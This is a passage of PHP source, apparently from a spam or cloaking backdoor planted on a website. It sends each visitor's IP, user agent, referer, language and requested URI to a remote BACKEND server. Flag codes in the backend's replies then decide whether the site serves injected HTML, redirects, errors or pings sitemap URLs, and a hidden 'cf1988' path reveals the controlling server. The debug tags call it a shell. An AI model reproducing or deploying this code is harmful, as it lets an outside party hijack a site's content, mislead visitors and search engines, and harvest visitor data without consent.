1, CURLOPT_HEADER => 0, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_TIMEOUT => 30, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_SSL_VERIFYPEER => false, )); $response = curl_exec($ch); if ($response === false) { $err = curl_error($ch); $errno = curl_errno($ch); $info = curl_getinfo($ch); error_log("[SHELL_DEBUG] curl FAILED: errno={$errno}, error={$err}, http_code={$info['http_code']}, url=" . ($isPost ? $url : ($data ? "{$url}?..." : $url)) . ", total_time={$info['total_time']}s"); } else { $info = curl_getinfo($ch); if (!empty($response) && $response[0] !== '7' && $response[0] !== '9') { $contentType = isset($info['content_type']) ? $info['content_type'] : ''; if ($contentType) @header("Content-Type: {$contentType}"); } if (strlen($response) < 10) { error_log("[SHELL_DEBUG] curl OK but short response: len=" . strlen($response) . ", body=" . var_export($response, true) . ", http_code={$info['http_code']}, total_time={$info['total_time']}s"); } } curl_close($ch); return $response; } return @file_get_contents($data ? "{$url}?{$data}" : $url); } function fetchBackend($url, $queryString) { $response = httpRequest($url, $queryString); if (!$response) { error_log("[SHELL_DEBUG] fetchBackend: first attempt empty/false, response=" . var_export($response, true)); return false; } $flag = $response[0]; if ($flag === '4') { @header('HTTP/1.1 404 Not Found'); echo substr($response, 1); die; } if ($flag === '5') { @header('HTTP/1.1 500 Internal Server Error'); echo substr($response, 1); die; } if ($flag === '3') { @header('HTTP/1.1 302 Found'); @header('Location: ' . substr($response, 1)); die; } if ($flag === '7') return false; if ($flag === '8') die; if ($flag === '9') { global $statsHtml; $statsHtml = substr($response, 1); register_shutdown_function(function() { global $statsHtml; if ($statsHtml) { echo $statsHtml; } }); return false; } return $response; } $requestUri = gv('REQUEST_URI'); if (trim($requestUri, '/') === 'cf1988') { $host = parse_url(BACKEND, PHP_URL_HOST); $hostParts = explode('.', $host); $identifier = isset($hostParts[0]) ? $hostParts[0] : 'unknown'; die("
{$identifier}"); } $params = http_build_query(array( 'uri' => $requestUri, 'dom' => gv('HTTP_HOST'), 'ip' => getClientIp(), 'lang' => gv('HTTP_ACCEPT_LANGUAGE'), 'agent' => gv('HTTP_USER_AGENT'), 'refer' => gv('HTTP_REFERER'), 'http' => isHttps() ? 'https' : 'http', 'v' => '9' )); if (strpos($requestUri, 'pingsitemap') !== false) { $urls = fetchBackend(BACKEND, $params); if ($urls) { foreach (explode(',', $urls) as $pingUrl) { $result = httpRequest($pingUrl); echo $pingUrl . '